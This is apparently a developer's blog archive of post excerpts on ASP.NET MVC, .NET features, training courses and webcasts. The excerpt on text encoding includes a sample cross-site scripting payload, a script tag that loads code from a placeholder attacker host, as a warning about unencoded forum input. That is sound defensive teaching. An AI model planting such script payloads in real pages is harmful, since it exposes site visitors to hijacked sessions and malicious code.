Reblogged: New webcasts from DevelopMentor: MongoDB, iOS, and Bootstrap

Reblogged from DevelopMentor.

We are excited to announce three upcoming webcasts at DevelopMentor in November:

     webcast-mark-smith-iOS-and-dotnet-Xamarin webcast-michael-kennedy-bootstrap-beautiful-websites

Register for these now:

Getting started with MongoDB and NoSQL in .NET and C#
b
y Pierre Nallet

The world of data offers new choices and MongoDB is the most popular alternative to SQL databases today. In this one hour webinar, we’ll look at the reasons developers turn to NoSql databases and what makes MongoDB special. Then we’ll look at how to manipulate MongoDB data from C# efficiently and safely by leveraging Linq.

 Building data-driven applications for iOS in C#
by Mark Smith

Creating a dynamic UI for data display and navigation takes time – in this 1 hour webinar, we’ll look at using C# and Xamarin.iOS to pull data from the web and display it in a quick, easy fashion in table views using the cool services of DialogViewController.  With this technique, you can quickly build data-driven applications to display almost any form of data and be positioned to port that code to other platforms like Windows Phone and Android easily.

Building beautiful websites with Bootstrap: A case study
b
y Michael Kennedy

Bootstrap has literally changed the game when it comes to web design. This is especially true for developers who have traditionally struggled to build beautiful and engaging sites. With Bootstrap, developers can now start from a good design and evolved. This webcast look at how we at DevelopMentor have used bootstrap to completely redesign our website. We’ll take you through a quick introduction to bootstrap and then look at the various ways we have made use of it’s simple and productive design foundation.

Recorded webcasts
We have also published about 50 hours of free webcasts at http://www.develop.com/webcasts. Come check them out!

New online course: Source Control with TFS Version Control

Michael Kennedy:

If you’re interested in TFS, we just released a great new online TFS course from DevelopMentor over at LearningLine. Here are the details.

Originally posted on LearningLine blog - online developer courses:

We’re excited to announce a new online course at LearningLine:

Source Control with TFS Version Control
by John Bowen

This course is a hands-on exploration of Team Foundation Server’s and Visual Studio’s source control system authored by the very talented John Bowen. Here are all the details:

Course Summary

Do you need to get up to speed on Team Foundation version control? Then the Source Control with TFS Version Control course is built for you! This course digs into all the details of using TFS source control. It covers all the basics: checkin, checkout, and changesets. Then you’ll dig into more advanced topics such as branching and merging, leveraging the TFS power tools, getting the most out of workspaces and more. The course also covers important changes introduced in Visual Studio / Team Foundation Server 2012.

Course Objectives

After completing this course, you should be proficient in the following:

  • Become…

View original 82 more words

Tips for optional parameters to ASP.NET MVC action methods

Here’s a quick ASP.NET MVC tip to help you be more productive and write cleaner code. We will see how to leverage C# 4′s optional and default parameters in our action methods for greatly simplifying our code while keeping it fully functional and error free.

Often you want to pass data to your controllers based on URL parameters. This can either be part of the URL itself in the case of route data or it can be part of the query string. In fact, this tip even works for input forms.

Let’s take a basic method which shows some census data, potentially filtered and sorted if that information is passed along, otherwise we’ll just show everything with a default sort.

value-types Continue reading

Create new ASP.NET MVC views the easy way

As an instructor at DevelopMentor, I have the unique opportunity to watch many developers experience ASP.NET MVC for the first time. This typically goes through several stages:

  1. Extreme Interest (the web is exciting again!)
  2. Confusion (where does the view go again? wait, what’s routing?)
  3. Shock (you have got to be kidding, forearch in the html file?)
  4. Loss (surely there are some drag-and-drop controls, right… right?)
  5. Acceptance (OK, I will learn HTML and CSS after 10 years of working on the web)
  6. Joy and Freedom (How could I have ever used webforms?)

I rarely hear developers who’ve adopted MVC returning to webforms voluntarily. But not everyone makes it to level 6 of MVC enlightenment. So here is an article to help the new comers make it across step 2 more easily as well as help the advanced MVC developers be more productive. Continue reading

Improve perceived performance of ASP.NET MVC websites with asynchronous partial views

github_icon

[Note: The code for this project is available on GitHub.]

Imagine you’re building an ASP.NET MVC website which has some performance problems. I’m sure this would never actually happen to you, but imagine you’re facing this problem just for the sake of exploring the possibilities. :-)

Now, your web app is mostly fast and responsive, but there are certain types of data that just bring the whole thing to a grind. This article will cover a technique using ASP.NET MVC partial views, along with just a sprinkle of jQuery, JavaScript, and HTML5 to make your site feel nice and responsive even if you cannot increase the speed of certain operations. Continue reading

Understanding Text Encoding in ASP.NET MVC (ASP.NET MVC Foundations Series)

[The code for this post is available on GitHub]

This article covers the various ways in which you might handle text encoding in ASP.NET MVC. For example, if you were writing a forum web app, you should absolutely be paranoid about what your users are typing into your site. You need to be very careful about how you redisplay their input. For example, a friendly forum user might write something like:

Nice post, thanks for sharing!

On the other hand, they may write:

<script src=”http://evilserver.com/xss.js”></script&gt;
<script>xss.doBadDeeds();</script>

If you turn around and show this “post” to your other uses, maybe they’ll get hacked. At a minimum, the evil-doers could be a nuisance to your real users.

On the other hand, if you’re building a CMS or utility helper method, you do not want to filter out the HTML a user might type. They probably need to enter some HTML which you’ll want to show to all the other users. Same thing goes for code your app might generate.

There are at least three ways which MVC manages and encodes (or does not encode) text data. Knowing which scenario you’re targeting allows you to choose the right option. We’ll look at four examples in this post:

  1. A forum app which can be hacked
  2. A forum app which is safe from XSS injection
  3. A CMS app with rich text editing
  4. Generating HTML in code for use in MVC Razor views

Continue reading

9 Ways Your Brand New ASP.NET MVC Project Can Be Better

So you’re ready to start that new and ambitious ASP.NET MVC project. Maybe you’re kicking off a new startup or just finally moving that old-and-crusty webforms project into modern development world. Either way, here are a few very simple things you can do immediately after creating that new MVC project that you will thank yourself for as your project grows in complexity.

1. First of all, even MVC 3 has old-and-crusty aspects lurking in its projects. There are old MicrosoftMvc*.js AJAX and validation libraries that have be replaced with new jQuery hotness. These *.js files aren’t used so just delete them.

2. Many of the dependencies of your MVC project are out-of-date as soon as you create your project. You have an old version of jQuery, Entity Framework, etc. Luckily Phil Haack and crew had the brilliant insight to link these to NuGet. So the next thing you do is just run NuGet and choose the Updates tab.

Continue reading

Managing Cumbersome Shared Views Folder for Large Projects in MVC

While ASP.NET MVC promotes clean separation-of-concerns for your web applications, there are some short comings. A problem you’ll run into on large ASP.NET MVC projects is the Views section of your web application becomes completely crowded with hundreds or thousands of files.

Usually, these view files are organized into sections by controller which keeps this manageable. For example, your solution might look like:
Continue reading

Building ASP.NET MVC Forms with Razor (ASP.NET MVC Foundations Series)

[Update: Want to watch this as a screencast rather than article?]

In this ASP.NET MVC Foundations article, we’re going to look at building an ASP.NET MVC page which allows users to create and edit objects in our domain. We’ll cover just the basics of using HTML helpers to map model properties to our HTML form and Model Binding to convert our HTML form back into our rich domain object.

We’ll start with a very basic store website (downloads here: BasicMvcForms_starter.zip and BasicMvcForms_final.zip)which has a database and some basic products already listed:

Continue reading

Getting Things Done with Backpack and 37Signals

[Note: You can download this post as a PDF.]

Here’s an article about Getting Things Done and how I use Backpack from 37Signals to make it happen.

I’ve recently taken on some roles where I have a lot more loose-ends in my life and adopting Getting Things Done (GTD) has really helped manage everything. I’m also a huge fan of the 37Signals suite of products (Backpack, Basecamp, etc). That should be obvious from what we’re doing over at ChatPast with integrating instant messaging and 37Signals applications.

So using 37Signals to implement Getting Things Done (GTD) was the obvious choice for me. After looking at both Backpack and Basecamp, it seems that Backpack is the clear winner for implementing GTD. You’ll see why shortly.

There have been some articles already written about Backpack + GTD. Brett Kelly wrote a nice one over at Getting Things Done with 37signals’ Backpack – Why I’m Switching Back. However, while this was helpful in showing me that I *could* implement GTD in Backpack, it didn’t show me how to do it.

How should I organize my pages? Do I use reminders, the calendar, both or neither? There will be TODO lists, but how do I correlate them to my actual work? What about check lists? Can I have templates for repeated ones? Answering these questions is the purpose of this article.

A Step-by-step guide to implementing GTD in Backpack

In this article we’ll look at the major pieces of GTD and how to fit them into Backpack.

Continue reading

Article: 10 Features in .NET 4.0 that made Me Smile

I recently wrote another article for DevelopMentor‘s Developments newsletter (not subscribed yet? see top-right of this page). This one is entitled

10 Features in .NET 4.0 that made Me Smile

Read it on the DevelopMentor website: http://www.develop.com/tenfeaturesdotnet4

I am republishing it below for you all to enjoy on your RSS readers.

Cheers,
Michael


10 Features in .NET 4.0 that made Me Smile

I have been reviewing some of our upcoming classes at DevelopMentor this week. One of those classes, What’s New in .NET 4.0, left me excited for things to come. There are a bunch of small but wonderful features discussed in that class. I thought I’d take this opportunity to write a few of them up and share the joy. I bet some of them make you smile too.

Continue reading

Article: Building a Twitter Application in .NET

I recently wrote an article for DevelopMentor‘s Developments newsletter entitled Building a Twitter Application in .NET. You can read it at the DevelopMentor website:

http://www.develop.com/twitternetapps

I’ve republished here for my readers. Enjoy!


Building a Twitter Application in .NET

by Michael Kennedy (@mkennedy)
http://www.michaelckennedy.net

Twitter has become one of the web’s hottest properties. It is a central part of mainstream news programs such as CNN’s Anderson Cooper 360, congressional debates, and talk shows. In fact, it grew at a rate of 1400% this past year [bit.ly/jG9BG].

If your company wants to interact with your customers in a modern and engaging experience, you need to be on Twitter. In fact, if you have customers that really like or dislike you, they are probably talking about you on Twitter. You should be part of that conversation.

In this article, we will explore how to build a rich interactive experience on Twitter that goes beyond just creating a new Twitter account. We will build a .NET application that uses the Twitter API (a free service) alongside other cool technologies such as the WCF REST Starter Kit [http://bit.ly/v8mBb] and LINQ to fully leverage the Twitter experience.

Continue reading

ClickOnce Deployment for Unmanaged Code (C++, VB6, etc)

ClickOnce is a great deployment model for many Windows applications built with the .NET Framework. Too bad it isn’t supported for C++, VB 6, or other technologies. Or is it…

Surprisingly, you can deploy your unmanaged apps with ClickOnce. You just need a tiny .NET app to get it started.
Continue reading

System.Transactions and Windows Vista NTFS (Updated)

I’ve been playing with my fresh copy of Vista Ultimate – which I am surprised to find that I absolutely love.

Being a big fan of System.Transactions, I naturally wanted to use it with Vista’s TxF (Transactional NTFS) file system. But unlike the data libraries, the file APIs don’t auto-enlist in the transaction. In fact, there are only COM / PInvoke APIs currently.

There is a nice article about how to work with these APIs in the MSDN article: “NTFS: Enhance Your Apps With File System Transactions”. But I was unimpressed with the managed wrapper they created there. In particular, I don’t like that the lifetime of the file stream is not forced to be part of a client initiated transaction scope. So I built my own transactional file stream in C#. With this TxFileStream class, you can write succinct code like this:
Continue reading